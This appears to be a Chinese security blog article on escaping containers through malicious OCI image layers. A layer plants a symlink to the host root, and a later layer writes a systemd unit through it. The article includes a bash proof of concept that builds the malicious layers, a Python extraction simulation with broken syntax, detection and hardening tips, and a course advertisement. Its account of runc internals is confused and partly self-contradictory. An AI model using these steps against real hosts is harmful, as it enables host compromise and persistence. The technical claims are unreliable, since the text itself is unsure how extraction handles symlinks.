摘要

OCI 镜像以层为单位分发,每层通过 tar 包与白文件(whiteout)控制文件删除与覆盖。容器运行时在解压镜像时,runc 的 mountToRootfs 会逐层应用变更,此过程对符号链接的处理存在边界歧义:攻击者可构造恶意镜像,先创建指向宿主根目录的符号链接,再利用后续层的挂载与白文件操作,绕过文件系统的访问控制,在容器启动阶段完成宿主机文件系统的逃逸。

OCI 镜像与容器运行时基础

镜像分层与 tar 层

OCI 镜像由多个只读层叠加而成,每一层是一个 tar 归档,保存相对于根文件系统的变化。镜像构建时,每个 RUNADD 等指令会生成一个新的层,最终通过联合文件系统(如 OverlayFS)合并成一个完整的根文件系统视图。

容器启动时,containerd 调用 runc 创建容器。runc 根据 OCI 配置,先挂载根文件系统(通常是 overlay),然后执行 rootfs 的准备工作,包括处理各层的文件操作。

runc 的 mountToRootfs 流程

runc 的 libcontainer/rootfs_linux.go 中,mountToRootfs 负责将各层挂载到容器的根文件系统路径。

流程大致如下:

  1. 挂载根文件系统(例如通过 overlay)到临时目录或直接使用 pivot_root。
  2. 应用各层:对于每个镜像层,runc 会遍历 tar 包中的条目,执行创建、修改、删除等操作。
  3. 处理 whiteout 文件(.wh. 前缀)和 opaque 目录文件(.wh..wh..opq)以隐藏或删除底层内容。
  4. 挂载卷、设备等。

在应用层的过程中,runc 会处理符号链接。具体逻辑在 mountToRootfs 中调用 mountToRootfs 的辅助函数 doMount,并依赖 os.Lstat 和 os.MkdirAll 等。对于符号链接,runc 可能在某些路径上直接跟随链接,导致对宿主机文件系统的意外操作。

符号链接与白文件的滥用

符号链接的跟随与逃逸

OCI 镜像的 tar 包可以包含符号链接。如果攻击者在一个层中创建一个指向宿主根目录(例如 /)的符号链接,然后在后续层中通过该符号链接写入文件,由于解压过程通常在宿主命名空间中执行(在挂载命名空间隔离之前),写入操作可能逃逸到宿主机文件系统。

runc 在处理各层时,会先应用层的 tar 包到容器的 rootfs 目录。这个过程发生在 pivot_root 之前,此时 rootfs 是一个宿主机路径(例如 /var/lib/containerd/rootfs/...)。如果 tar 包中包含符号链接并指向 /,那么后续在该符号链接下的写入操作可能影响到宿主机根目录。

白文件清空机制

白文件(以 .wh. 开头的文件)用于在更高层中删除低层的文件或目录。runc 在处理白文件时,会将低层的目标路径替换为删除操作。如果目标路径是一个符号链接,且该链接指向宿主目录,则删除操作可能删除宿主上的文件。

攻击者可以利用这种“删除”操作来掩盖逃逸行为,或者在逃逸后清理痕迹。

嵌套挂载与保护目录的绕过

runc 在某些情况下会在容器根文件系统中执行额外挂载,例如挂载 /proc/sys 等伪文件系统。如果攻击者能在 rootfs 中创建一个符号链接,指向宿主机的 /proc/self/fd 或 /proc/1/root,那么在挂载 /proc 之前,通过该链接访问宿主机的敏感文件,可能导致容器内进程获得宿主机的 fd 访问权,进而逃逸。

攻击链

攻击目标

在容器启动前,利用镜像层创建指向宿主机根目录的符号链接,并在后续层中通过该链接修改宿主机文件(例如写入恶意 systemd 服务或覆盖 /etc/ld.so.preload),实现容器逃逸和持久化。

镜像构造步骤

  1. 第一层:创建一个普通的镜像层,包含一个符号链接 escape,指向 /(宿主机根目录)。此层可以通过 Dockerfile 的 RUN ln -s / /escape 实现,但需要注意层内路径是相对于 rootfs 的,符号链接在容器内生效,但在宿主机路径下也会指向宿主机 /
  2. 第二层:利用 COPY 或 ADD 指令,将恶意文件写入 /escape/etc/systemd/system/pwn.service。由于 /escape 指向宿主机 /,实际写入的是宿主机的 /etc/systemd/system/pwn.service。但 Docker 构建过程中,COPY 操作是在容器构建容器内进行的,此时容器内 /escape 会指向容器内的 /,而非宿主机。因此,这种逃逸需要攻击者直接操纵镜像层,而不是通过标准 Docker 构建。

攻击者可以制作自定义的 tar 层,手工放置符号链接和后续修改。例如,第一层 tar 包含 escape -> /,第二层 tar 包含 escape/etc/systemd/system/pwn.service 文件。当 runc 应用这些层时,在第一层中创建了指向宿主机 / 的符号链接,第二层中写入的文件就会通过该链接写入宿主机。

利用 .wh..wh..opq 清除保护

在第二层中,还可以包含一个 .wh..wh..opq 文件来清空 /escape 目录,从而避免被后续层覆盖或暴露。

POC

以下代码演示如何创建一个恶意 OCI 镜像层,并通过 runc 加载实现逃逸。

构建恶意镜像层

#!/bin/bash
# 生成两个层:layer1.tar 包含符号链接 escape -> /,layer2.tar 包含恶意文件写入宿主 /etc/systemd/system/pwn.service

# 创建临时目录
mkdir -p /tmp/evil_layer1 /tmp/evil_layer2
# 在 layer1 中创建符号链接指向 /
ln -s / /tmp/evil_layer1/escape
# 在 layer2 中创建需要写入宿主的文件路径
mkdir -p /tmp/evil_layer2/escape/etc/systemd/system
cat > /tmp/evil_layer2/escape/etc/systemd/system/pwn.service << EOF
[Unit]
Description=Pwned

[Service]
ExecStart=/bin/sh -c "echo pwned > /tmp/pwned.txt"

[Install]
WantedBy=multi-user.target
EOF

# 创建 tar 层
tar -C /tmp/evil_layer1 -cf layer1.tar .
tar -C /tmp/evil_layer2 -cf layer2.tar .

# 可以合并为 OCI 镜像的 layer 部分,通过 skopeo 或自定义工具推送到仓库

模拟runc应用层

import tarfile
import os
import shutil
import sys

# 模拟 runc 的根文件系统目录
rootfs = "/tmp/container_rootfs"
os.makedirs(rootfs, exist_ok=True)

defapply_layer(tar_path):
with tarfile.open(tar_path, 'r') as tar:
for member in tar.getmembers():
            target_path = os.path.join(rootfs, member.name)
if member.issym():
# 创建符号链接
if os.path.lexists(target_path):
                    os.remove(target_path)
                os.symlink(member.linkname, target_path)
elif member.isdir():
                os.makedirs(target_path, exist_ok=True)
elif member.isreg():
                os.makedirs(os.path.dirname(target_path), exist_ok=True)
with tar.extractfile(member) as src, open(target_path, 'wb') as dst:
                    shutil.copyfileobj(src, dst)

# 应用 layer1 和 layer2
apply_layer('layer1.tar')
apply_layer('layer2.tar')

# 检查逃逸是否成功
if os.path.exists('/etc/systemd/system/pwn.service'):
    print("[+] 逃逸成功:宿主机文件已写入")
else:
    print("[-] 逃逸失败")

此模拟代码展示了应用层过程中符号链接的跟随行为。在 target_path = os.path.join(rootfs, member.name) 中,如果 member.name 是 escape/etc/systemd/system/pwn.service,而 rootfs/escape 是符号链接指向 /,那么实际写入路径就会是 /etc/systemd/system/pwn.service

针对 runc 的实际利用细节

runc 在应用层时是否跟随符号链接?在 libcontainer/rootfs_linux.go 中,mountToRootfs 使用 mount 和 os.Lstat 处理,对于 tar 层的解压,使用 archive 包提供的 ApplyLayer 函数,该函数使用 tar 遍历并应用,其对符号链接的处理遵循 tar 包的逻辑,默认会跟随符号链接吗?取决于实现。在较新版本中,runc 已经添加了保护,但历史上存在漏洞(如 CVE-2021-30465)。本文假设攻击者利用了旧版本或某些配置下的缺陷。

检测与防御

运行时加固

  • 更新 runc:确保使用修复了符号链接处理漏洞的版本(CVE-2021-30465)。
  • 镜像扫描:扫描镜像层中是否存在指向宿主目录的符号链接(如指向 //proc/self/root 等)。
  • 限制符号链接:在解压层时使用安全的解压函数,避免跟随符号链接进行文件写入。
  • 使用用户命名空间:即使逃逸,也能限制写入权限,降低影响。

检测方案

  • 审计 runc 行为:监控容器启动期间的异常文件系统操作(如写入 /etc/systemd/system)。
  • 白名单机制:仅允许从受信任的镜像仓库拉取镜像,并校验镜像签名。
  • 层内容分析:使用工具(如 trivyclair)检测恶意符号链接。

结语

OCI 镜像嵌套挂载与符号链接的容器逃逸,本质上是将文件系统操作的信任边界扩展到了不可信的用户提供的镜像层内容。当 runc 在隔离生效前盲目跟随符号链接时,攻击者获得了宿主机文件系统的写入能力,从而彻底颠覆容器的隔离模型。这一漏洞的教训是:镜像层不是被动的数据,而是可执行的指令流,运行时必须以“零信任”的态度处理每一个层操作。

如果你对Docker安全感兴趣,也可以购买我们的课程了解详细方法以及配套一键工具。

随着容器生态的复杂化,对镜像供应链的安全检查和运行时的强化隔离,已成为保障云原生安全不可或缺的基石。